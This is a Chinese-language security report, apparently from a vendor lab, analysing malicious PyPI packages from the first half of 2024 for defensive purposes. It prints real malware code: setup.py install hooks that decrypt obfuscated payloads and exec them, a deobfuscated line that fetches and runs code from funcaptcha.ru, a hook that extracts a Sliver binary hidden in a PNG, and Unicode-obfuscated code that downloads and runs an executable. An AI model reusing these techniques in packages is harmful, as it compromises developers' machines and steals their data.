2024年上半年,天问Python供应链威胁监测模块共捕捉到1000个恶意包。在此期间,两次集中的恶意包攻击事件导致PyPI官方紧急暂停了软件包上传服务。随着攻击者能力的不断提升,对于软件攻击链的安全防护提出了更加严峻的考验。

天问供应链威胁监测模块是奇安信技术研究星图实验室研发的“天问”软件供应链安全分析平台的子模块,”天问“分析平台对Python、npm等主流的开发生态进行了长期、持续的监测,发现了大量的恶意包和攻击行为。

1. 上半年恶意包分析

2024年,天问供应链威胁监测模块共检测出1000个恶意软件包,我们根据这些恶意包的攻击手法进行了简单的分类。一个恶意包可能同时使用了多种攻击手段,所以其会存在多种类型标签。

下图是这些恶意包的具体分类情况,由图中可知超过80%的恶意包都开始使用各种混淆方式来隐藏自身的真实攻击意图。各种代码混淆无疑会给安全人员快速分析溯源带来极其严峻的挑战。除此之外,我们可以看到无文件攻击的方式愈加受到攻击者的青睐。无文件攻击通常会收集受害者主机中的隐私信息,然后将这些数据回传到一个匿名网址,使得溯源工作变得十分困难。恶意文件下载和反向Shell也是较为常见的攻击手段。而模块替换、图片隐写这些攻击方式目前发现的数量相当较少,但他们的隐蔽性非常好,更加难以检测。此外,将PyPI滥用作云存储库的攻击事件在PyPI的集中整治下正在逐渐变少。

mal-cls-num

我们统计了这些恶意包在上半年的发布时间,由下图可知这些恶意包有两次比较集中的爆发期,分别为3月26号-27号和6月16号。在这两个时间段我们分别监控到586个和161个恶意包,第一次攻击事件也导致了PyPI官方紧急停止了软件包上传服务,相关事件报告可参考【天问】PyPI 大规模伪造包名攻击。我们通过对这两次攻击事件的恶意包代码内容的分析,判定这两次攻击事件出自同一个攻击者或攻击组织。

mal-date

2. 两次集中攻击事件分析

在第一次攻击事件中,攻击者批量发布了大规模使用了伪造包名的恶意包。例如我们之前报告中分析过的恶意包requstss,其模仿了流行包的名称requests。这些恶意包的代码结构极为相近,均在steup.py中使用了Fernet加密的代码片段并用exec命令执行,如下所示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from setuptools import setup, find_packages
from setuptools.command.install import install
import os

VERSION = '1.0.0'
DESCRIPTION = 'YFqdzDnaUEbcMZAPL uXTNKyXRFkdxahHWuvijHmxKblIMVXuq'
LONG_DESCRIPTION = 'QUIZGtjBPQaps eaPdsMUJTYGXpnDHKVMUnKEGmGrYRATYFxDaJAinsVCQnHIQMMCDUTtUvPLjSsYbHOOPWuOpMZLHBWuaZwB dmZOYblwMYENvFtzCiDcHUKcNeXYkMxlksadnTMBLUBRyIvppmMNKxqBICFImVXLalsUYBINheUHRMOdkRruucJPTgDDBLkvDnoSJFIjTFKtIeLUosOh uoBEfLJTVQw opqEDYjCQdzUZUJuMWwAdEAMZRAnasGOanIdKNycUVAuTckhwFrgiUqfDyY'


class GruppeInstall(install):
def run(self):
import os
if os.name == "nt":
import requests
from fernet import Fernet
exec(Fernet(b'EBjiyW0IuU6BYDGcO4qeB8piLtEszp6Qy3nIdoy-dpg=').decrypt(b'gAAAAABmA0bbhYYeLFxkKwlWInbwbtJ3Qqau_yXrjZdIoLbGBXGNhvc2eDBWOC5ze1ZEZACNwKCpm4MIZ8O03smYQ8XFGBCcS69OBSY5UY4KWz1llHM3nC8rjsLjt_K6etERuf7lu4msnVvMZVzoK0VxppKYBp6gojv2HSn9seQexnYZG05v7IuqHxXzYop0lB3upNzcWdmTysV0jH9QDElUM_xZpvpQG2bGcreo_jukTsYmZG0U6xw='))
install.run(self)

setup(
...
cmdclass={
'install': GruppeInstall,
},
packages=find_packages(),
setup_requires=['fernet', 'requests'],
...
)

在之前的分析报告中,我们已经解析过这个恶意包的实际攻击方法。它从远端服务器中下载恶意代码,并实现在本地持久化,开机自启动。

第二次集中攻击事件主要模仿的PyPI包名多与区块链、虚拟货币相关,例如pythonethereumweb3web3.pyopensea

其中OpenSea这个名字对应第一个也是最大的去中心化NFT(Non-fungible token)市场,下图是前段时间非常火爆的NFT头像,类似的作品甚至卖出了数百万美元的价格。

Featured Image

我们分析了其中一个伪造opensea的恶意包openresa,其setup.py如下所示。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from setuptools import setup, find_packages
from setuptools.command.install import install
import os

VERSION = '1.0.0'
DESCRIPTION = 'jTsKpWrvfDcMmZE oUFqyjKIDSBmI AIzDjICVUVWkKvQRZpkzwQowwHb'
LONG_DESCRIPTION = 'jGJnzHWrWNqJjrOMChbjHgbRwxF ...'


class IfdSTdhAwXDivUKTxPIjwToXqLqZPLTDZWlFUIIwrIZeQDqXXWVsPlbWdDKfDTZzQFlAgLZtPetEJEHaIhonCvGKlLy(install):
def run(self):
import os
if os.name == "nt":
import requests
from fernet import Fernet
exec(Fernet(b'rmWMgfN3kAXm-FVTyKF9hc7EEKwLtO5K7KlW2CpPF10=').decrypt(b'gAAAAABmbvVypX4vQXR20K30DK98MjG3xTp3zhlYKHIPWT9chxgWtuz7lFbBje0TrzMASxcKUYc3OSu4Q8zLcqaHs-5xvJSAwYHlqIw9M3QGTxlVtuZxci6b_p9EeSIYsAtTfFEsKcnhP4FeybhiRB5tU9PuJzNMTl3Qa_Zcx2v2G966yp6OgjZ6l5pDIr3bNmD16CBJf7jmzssZzPGKBrBOk0yVOxKebqgDXIL5be02J9Tfhd3Nbgg='))

install.run(self)
...

通过对比,我们不难发现第二次集中攻击的恶意包内容结构与第一次几无差异。通过解混淆,我们得到了exec实际执行的指令,如下所示。

1
exec(requests.get('https://funcaptcha.ru/paste2?package=openresa').text.replace('<pre>','').replace('</pre>',''))

这与我们之前的报告中解析得到的代码几乎完全一致,两者均包含相同的网址funcaptcha.ru。因此我们推断两起集中攻击事件均出自同一个攻击者/组织。攻击者的主要目的是窃取用户浏览器数据和加密货币信息。相较于第一次攻击,第二次明显针对性更强,模仿的流行包名几乎都是与加密货币相关的。

本次攻击事件,PyPI官方反应迅速,短时间删除了所有相关恶意包,并未影响到PyPI软件源的正常运转。PyPI官方提供了在线查看包内容的平台Inspector,而且提供了快速反馈恶意包的渠道。这为广大的开源生态参与者提供了很好的监管途径,同时也为其他开源生态治理提供了很好的一个范例。

image-20240729140826561

3. 经典恶意包攻击回顾

我们从上半年的恶意包中选取了几个案例来讲解目前恶意包的一些典型攻击手法。

3.1 图片隐写

requests_darwin_lite-2.27.1.tar.gz

setup.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
...

class PyInstall(install):
def run(self):
if sys.platform != "darwin":
return

c = b64decode("aW9yZWcgLWQyIC1jIElPUGxhdGZvcm1FeHBlcnREZXZpY2U=").decode()
raw = subprocess.run(c.split(), stdout=subprocess.PIPE).stdout.decode()
k = b64decode("SU9QbGF0Zm9ybVVVSUQ=").decode()
uuid = raw[raw.find(k)+19:raw.find(k)+55]

if uuid == "08383A8F-DA4B-5783-A262-4DDC93169C52":
dest = "docs/_static/requests-sidebar-large.png"
dest_dir = "/tmp/go-build333212398/exe/"
with open(dest, "rb") as fd:
content = fd.read()

offset = 306086
os.makedirs(dest_dir, exist_ok=True)
with open(dest_dir + "output", "wb") as fd:
fd.write(content[offset:])

os.chmod(dest_dir + "output", 0o755)
subprocess.Popen([dest_dir + "output"], close_fds=True, stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)
install.run(self)
...

setup(
...
cmdclass={
"install" : PyInstall,
"test": PyTest,
},
...
)

首先阅读上面代码,我们可以发现两个base64编码之后的混淆字符串。解码之后的内容分别为ioreg -d2 -c IOPlatformExpertDeviceIOPlatformExpertDevice。第一个命令用于打印关于IOPlatformExpertDevice类的顶级设备及其子设备信息,获取系统硬件配置。

1
2
3
4
5
6
7
8
9
10
if uuid == "08383A8F-DA4B-5783-A262-4DDC93169C52":
dest = "docs/_static/requests-sidebar-large.png"
dest_dir = "/tmp/go-build333212398/exe/"
with open(dest, "rb") as fd:
content = fd.read()

offset = 306086
os.makedirs(dest_dir, exist_ok=True)
with open(dest_dir + "output", "wb") as fd:
fd.write(content[offset:])

当硬件信息符合要求时,攻击者会读取一个requests-sidebar-large.png图片中的字节流信息,并将其中特定部分写入output文件中。

image-20240730152415177

requests-sidebar

我们可以观察到requests-sidebar-large.png的文件大小要远超正常png图片的大小,使用hexdump查看对比两个图片的16进制数据,如下所示。

image-20240730162401736

在png统一的结束数据IEND之后,攻击者直接将二进制文件内容添加在原始png图片信息之后,算是一种较为简单粗暴的图片隐写技术。由于有完整的png图像模块信息,系统仍然能够正常显示附加了恶意二进制内容的图片。

1
2
3
os.chmod(dest_dir + "output", 0o755)
subprocess.Popen([dest_dir + "output"], close_fds=True, stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)
install.run(self)

随后攻击者赋予output二进制文件执行权限并执行。这个二进制文件经过VirusTotal判别为Sliver,一个开源的C2框架,GitHub中项目地址为https://github.com/BishopFox/sliver

1
2
3
4
5
6
7
8
setup(
...
cmdclass={
"install" : PyInstall,
"test": PyTest,
},
...
)

同时攻击者也利用了setuptools中的cmdclass,用自定义的安装函数PyInstall覆盖了默认的安装函数,实现了安装时攻击。

尽管在我们的监控记录中,涉及图片隐写的恶意包很少。但这种攻击方式的出现仍要引起我们的重视,攻击者不再简单地利用恶意代码窃取数据,攻击用户,而且开始尝试多种方式隐藏自己。从分析过程,我们不难发现这个恶意包使用了多种攻击技术,代码混淆,自定义Install函数,图片隐写。而且这个包里面还包含了完整的requests模块代码,我们在之前的报告【天问】PyPI “特洛伊木马”中提到的模块替代攻击同样可以在这个包实现。

3.2 恶意文件下载

argsreq-2.0-py3-none-any.whl

__init__.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
...

def main():
try:
𝙉𝘔𝘭𝘭𝘔𝙈𝗡𝗡𝙡𝘔𝗹𝙄𝙉𝘔𝗜𝗹𝘭𝘕𝙉𝘐𝙈𝙡𝙈𝗠𝙄𝘕𝙈𝘐𝘕𝙈𝙄𝘕 = ['https://api.dreamyoak.xyz/cdn/file.exe', 'windows.exe', 'wb']
𝙪𝙧𝘭 = 𝘕𝙈𝘭𝘭𝘔𝘔𝙉𝘕𝗹𝘔𝙡𝗜𝘕𝘔𝘐𝙡𝙡𝗡𝙉𝘐𝘔𝘭𝙈𝘔𝙄𝙉𝘔𝗜𝙉𝗠𝙄𝗡[0]
𝘳𝙚𝘀𝗽𝗼𝗻𝘀𝘦 = 𝗿𝗲𝙦𝘂𝙚𝘀𝘁𝘀.get(𝘶𝗿𝗹)
𝙩𝘦𝗺𝗽_𝙙𝗶𝗿 = 𝘵𝗲𝙢𝘱𝗳𝘪𝘭𝘦.gettempdir()
𝗲𝘅𝗲_𝗽𝗮𝘵𝙝 = 𝗼𝘀.path.join(𝙩𝘦𝗺𝘱_𝗱𝙞𝘳, 𝘕𝙈𝙡𝘭𝘔𝙈𝗡𝗡𝙡𝘔𝙡𝘐𝙉𝗠𝙄𝘭𝙡𝙉𝘕𝘐𝗠𝙡𝘔𝘔𝗜𝘕𝙈𝗜𝘕𝘔𝙄𝙉[1])
with 𝘰𝗽𝗲𝙣(𝘦𝘹𝗲_𝗽𝗮𝘁𝗵, 𝘕𝘔𝘭𝘭𝙈𝘔𝘕𝗡𝗹𝘔𝗹𝘐𝗡𝗠𝙄𝘭𝘭𝗡𝘕𝗜𝙈𝙡𝗠𝙈𝘐𝗡𝙈𝙄𝘕𝗠𝙄𝘕[2]) as 𝙛𝙞𝗹𝙚:
𝙛𝙞𝗹𝗲.write(𝗿𝙚𝘴𝘱𝘰𝙣𝘀𝙚.content)
if 𝙤𝙨.path.exists(𝘦𝘹𝗲_𝘱𝗮𝙩𝙝):
𝘴𝙪𝗯𝘱𝙧𝙤𝙘𝗲𝙨𝙨.call([𝙚𝘹𝗲_𝘱𝘢𝙩𝗵])
except:
pass

main()

...

由上面代码我们可知,攻击者在__init__.py中插入了一个main函数,并直接执行。其从远端服务器https://api.dreamyoak.xyz/cdn下载了file.exe文件,并改名为windows.exe,最后执行了这个exe文件。

我们可以观察到上面的代码字体与常规字体不太一样,因为其同时使用了ANSI编码和ASCII编码的字符。Python3默认支持Unicode字符串,所以这些命令能够正常在python中执行。但是,对于利用字符串特征来进行恶意软件判别的工具可能就无法识别处理这个恶意包,攻击者也是基于此来尝试逃避安全检测。

3.3 资源滥用

shujujiegou-yu-suanfa-fenxi-xuexi-biji-luocong-2024.3.2.0.tar.gz

setup.py

1
2
3
4
5
6
7
8
9
10
11
...

setuptools.setup(
name="shujujiegou-yu-suanfa-fenxi-xuexi-biji-luocong",
version=ShujujiegouYuSuanfaFenxiXuexiBijiLuocong.__version__,
url="https://github.com/apachecn/shujujiegou-yu-suanfa-fenxi-xuexi-biji-luocong",
...
description="数据结构与算法分析学习笔记(罗聪)",
...
)

apachecn

结合源代码以及包内的文件,我们不难看出这是一个将PyPI作为云存储库分发技术资料的软件包。通过代码中的网址信息https://github.com/apachecn/,我们可以在GitHub中找到相应的组织。这个组织滥用PyPI、npm和docker作为存储库的行为,可以参见我们之前的报告【天问】PyPI软件源大规模攻击与滥用事件分析。经过去年PyPI集中删除了1万多个资源滥用的软件包后,PyPI的资源滥用现象得到了极大抑制。

apachecn-web

4. 总结

从2024年上半年的恶意包攻击事件中,我们可以看到虽然PyPI遭遇了两次集中大规模的恶意包攻击事件。但整体趋势较为平稳,恶意包均为零星出现。在两次集中攻击事件中,PyPI官方也能及时反应,将攻击事件的影响范围尽可能缩小。这也导致攻击者在PyPI平台发布恶意包获取收益的时间窗口被不断压缩,成本在不断增加。官方的代码查看平台以及反馈接口给予了广大开发者参与维护PyPI生态安全的快捷手段,其使得恶意包的攻击难度在不断提升。

PyPI的社区生态治理为其他开源生态提供了很好的示例,积极防御+群策群力将会是维护开源生态安全的重要手段。矛与盾的斗争持续不断,攻击者也在不断提升自己的攻击手法,隐藏自身。开源生态安全任重道远,天问平台也会持续关注并反馈开源生态安全问题。